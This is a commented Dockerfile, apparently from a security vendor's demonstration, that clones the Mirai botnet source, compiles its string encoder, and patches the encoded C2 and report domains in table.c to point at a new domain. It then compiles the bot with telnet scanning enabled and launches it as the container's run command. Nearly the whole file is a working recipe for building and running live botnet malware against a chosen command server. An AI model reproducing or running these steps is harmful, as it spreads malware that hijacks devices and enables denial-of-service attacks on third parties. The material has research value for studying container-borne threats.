FROM ubuntu:14.04.5
# the image is based on Ubuntu v14.04.5

# updates the package lists
RUN apt update

# install GCC compiler
RUN apt install -y gcc

# install Git
RUN apt install -y git

# fetch Mirai source code
RUN git clone https://github.com/jgamblin/Mirai-Source-Code

# compile string encoder tool
RUN gcc /Mirai-Source-Code/mirai/tools/enc.c -o /Mirai-Source-Code/mirai/tools/enc.out

# drop a shell script into /patch
RUN echo "#!/bin/sh" > /patch

# mirai's source code contains encoded string 'cnc.changeme.com'
# here, we run string encoder tool to encode 'cnc.changeme.com', then escape the encoded string with sed command
# the encoded string is placed into old_cnc variable
RUN echo "old_cnc=\$(printf '%s' \"\$(/Mirai-Source-Code/mirai/tools/enc.out string cnc.changeme.com | tail -1)\" | sed -e 's/[]\/\$*.^|[]/\\\\\\\\&/g')" >> /patch

# do the same with the encoded string 'report.changeme.com'
RUN echo "old_report=\$(printf '%s' \"\$(/Mirai-Source-Code/mirai/tools/enc.out string report.changeme.com | tail -1)\" | sed -e 's/[]\/\$*.^|[]/\\\\\\\\&/g')" >> /patch

# now, encode 'prevasio.com' - our C2's new domain name
# for ethical and legal reasons, this is to make sure we don't touch someone else's domain name
RUN echo "new_domain=\$(printf '%s' \"\$(/Mirai-Source-Code/mirai/tools/enc.out string prevasio.com | tail -1)\" | sed -e 's/[]\/\$*.^|[]/\\\\\\\\&/g')" >> /patch

# next, we'll need to patch the source file table.c
# this is to replace encoded 'cnc.changeme.com' with encoded 'prevasio.com'
RUN echo "sed -i \"s/\$old_cnc/\$new_domain/g\" /Mirai-Source-Code/mirai/bot/table.c" >> /patch

# do the same to replace encoded 'report.changeme.com' with encoded 'prevasio.com'
RUN echo "sed -i \"s/\$old_report/\$new_domain/g\" /Mirai-Source-Code/mirai/bot/table.c" >> /patch

# make our script executable
RUN chmod +x /patch

# run it to make 2 patches to table.c source
RUN /patch

# drop a shell script to compile and run the bot into /compile_and_run
RUN echo "#!/bin/bash" > /compile_and_run

# compile the bot from source with GCC
RUN echo "gcc -std=c99 /Mirai-Source-Code/mirai/bot/*.c -DDEBUG -DMIRAI_TELNET -static -g -o /mirai_bot" >> /compile_and_run

# run the bot in the background
RUN echo "/mirai_bot" >> /compile_and_run

# make the script executable
RUN chmod +x /compile_and_run

# execute the script
CMD ["/compile_and_run"]